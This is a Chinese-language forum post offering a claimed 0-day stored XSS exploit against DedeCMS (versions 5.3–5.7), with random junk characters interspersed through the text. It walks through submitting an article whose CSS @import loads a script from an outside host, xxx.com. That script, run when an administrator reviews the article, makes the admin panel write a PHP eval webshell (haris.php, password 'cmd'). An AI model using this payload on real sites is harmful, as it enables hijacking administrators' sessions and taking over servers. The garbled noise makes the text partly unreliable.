dedecms xss oday通杀所有版本 可getshell

admin

<DIV id=read_tpc mb10?>漏洞原因：由于编辑器过滤不严，将导致恶意脚本运行。可getshell
  u: n8 k0 h) h- [: Y: O为什么说它是ODay呢，能getshell的都算OD把`(鸡肋发挥起来也能变凤凰)
目前只是测试过5.3到5.7版本。其他更早的版本大家就自由发挥吧。
下面说说利用方法。
, [2 ?5 W1 H/ a$ S条件有2个：
( |3 _! u2 x3 f, {" f1.开启注册
0 M: q6 K0 j1 P8 U; @" }2.开启投稿
注册会员----发表文章
4 M6 E* h7 {  U内容填写：
复制代码
<style>@im\port'\http://xxx.com/xss.css';</style>
; B! d" `& u* f* Q) u+ M新建XSS.Css
+ s! P- g4 b; U8 d8 G; ^$ X3 b复制代码
.body{
background-image:url('javascript:document.write("<script src=http://xxx.com/xss.js></script>")') }
# u) H# M  R) n* e! v新建xss.js 内容为
复制代码
2 v. v# T5 T" v1.var request = false;
; L3 W7 L1 y- ^' c/ t& e' X4 @2.if(window.XMLHttpRequest) {
3.request = new XMLHttpRequest();
4.if(request.overrideMimeType) {
+ ~$ M# |/ g  c& k* C9 m. j2 b5.request.overrideMimeType('text/xml');
6.}
) ?9 r; p4 X1 v; M, C7.} else if(window.ActiveXObject) {
( x) q& @; L& B6 H8.var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
0 Q+ Q& H! s- t# W; |  z9.for(var i=0; i<versions.length; i++) {
10.try {
11.request = new ActiveXObject(versions);
12.} catch(e) {}
13.}
14.}
9 k% E+ z  C! _0 g% t' Z15.xmlhttp=request;
16.function getFolder( url ){
17. obj = url.split('/')
% T# ~7 \7 @4 ^2 ^1 |; a, i18. return obj[obj.length-2]
& [; [. }0 k+ W& K) Y7 \3 K" i) w19.}
  p  r; d4 D: L2 `  ~# D4 x* \20.oUrl = top.location.href;
% k- a" U# V3 h" J21.u = getFolder(oUrl);
8 m0 l0 s4 e  ~6 M22.add_admin();
8 F3 o  u% J2 t! N23.function add_admin(){
* `/ D3 I7 c' q* `$ _# R1 e( o24.var url= "/"+u+"/sys_sql_query.php";
25.var params ="fmdo=edit&backurl=&activepath=%2Fdata&filename=haris.php&str=<%3Fphp+eval%28%24_POST%5Bcmd%5D%29%3F>&B1=++%E4%BF%9D+%E5%AD%98++";
26.xmlhttp.open("POST", url, true);
27.xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
: X$ K$ B( _8 ?- k28.xmlhttp.setRequestHeader("Content-length", params.length);
1 U+ d% d/ A9 b8 y; k# g: ?& d2 N29.xmlhttp.setRequestHeader("Connection", "Keep-Alive");
4 g# v& E9 n* {& O6 W$ }30.xmlhttp.send(params);
4 K0 k/ _' f3 |/ X' `. q: ?31.}
- Y) r9 T9 m; @' T7 w, Y当管理员审核这篇文章的时候，将自动在data目录生成一句话haris.php。密码cmd